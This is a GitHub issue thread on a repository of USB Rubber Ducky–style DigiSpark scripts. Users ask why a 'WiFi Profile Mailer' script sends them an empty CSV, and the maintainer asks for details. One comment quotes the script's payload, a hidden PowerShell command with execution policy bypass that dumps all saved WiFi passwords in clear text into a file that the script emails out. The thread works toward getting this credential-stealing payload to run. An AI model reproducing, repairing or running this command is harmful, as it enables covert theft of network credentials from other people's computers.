CedArctic / DigiSpark-Scripts

USB Rubber Ducky type scripts written for the DigiSpark.
MIT License
1.9k stars 604 forks source link

Wifi Password file blank #60

Open sergio-delia opened 3 years ago

sergio-delia commented 3 years ago

Hello, the code works perfectly but the file temp.csv is always blank (0 bytes). Why?

CedArctic commented 3 years ago

Hi, glad you are interested in using one of the WiFi mailer scripts. Could you please provide some more relevant information like which script you are using, if the computer you are using the script on indeed has WiFi passwords stored on it, your Windows Build number etc.?

fiustif commented 3 years ago

hi, i have the exact same problem with this script: https://github.com/CedArctic/DigiSpark-Scripts/blob/master/WiFi_Profile_Mailer/WiFi_Profile_Mailer.ino i am sure my pc has wifi passwords saved but the .csv file i receive by email is empty, my windows build is 19042.1165, I think I have found the problem but I don't know how to fix it, the line:

DigiKeyboard.print (F ("powershell -NoP -NonI -W Hidden -Exec Bypass \" (netsh wlan show profiles) | Select-String '\: (. +) $' |% {$ Name = $ . Matches .Groups [1] .Value.Trim (); $ } |% {(netsh wlan show profile name = $ name key = clear)} | Select-String 'Key Content \ W + \: (. +) $ '|% {$ pass = $ . Matches.Groups [1] .Value.Trim (); $ } |% {[PSCustomObject] @ {PROFILE_NAME = $ name; PASSWORD = $ pass}} | Export-Csv temp .csv \ ""));

has an output which I believe is incorrect, I get:

powershell -NoP -NonI -W Hidden -Exec Bypass \ (netsh wlan show profiles) | Select-String \: (. +) $ | % {$ name = $ . Matches.Groups [1] .Value.Trim (); $ } | % {(netsh wlan show profile name = $ name key = clear)} | Select-String Key Content '\' W + '\': (. +) $ | % {$ pass = $ . Matches.Groups [1] .Value.Trim (); $ } | % {[PSCustomObject] @ {PROFILE_NAME = $ name; PASSWORD = $ pass}} | Export-Csv temp.csv

thanks in advance for any help.

Vinnybrunn00 commented 1 year ago

Hellow @fiustif, i have the same problem, did you manage to solve it? if yes, please send me the solution :)